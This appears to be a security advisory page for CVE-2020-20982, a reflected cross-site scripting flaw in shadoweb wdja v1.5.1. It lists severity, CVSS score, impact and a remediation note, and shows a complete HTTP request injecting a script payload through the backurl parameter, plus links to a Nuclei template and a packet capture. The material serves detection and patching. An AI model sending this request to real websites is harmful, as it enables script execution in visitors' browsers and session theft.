🔙 목록으로 돌아가기

CVE-2020-20982: shadoweb wdja v1.5.1 - Cross-Site Scripting

Titleshadoweb wdja v1.5.1 - Cross-Site Scripting
Authorpikpikcu,ritikchaddha
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score9.6
EPSS Score0.31953
CVE IDCVE-2020-20982
CWE IDCWE-79
Tags cve2020 cve xss wdja shadoweb vuln

🔍 Vulnerability Description

shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php.

🌐 HTTP Request

GET /passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-20982.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-20982.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A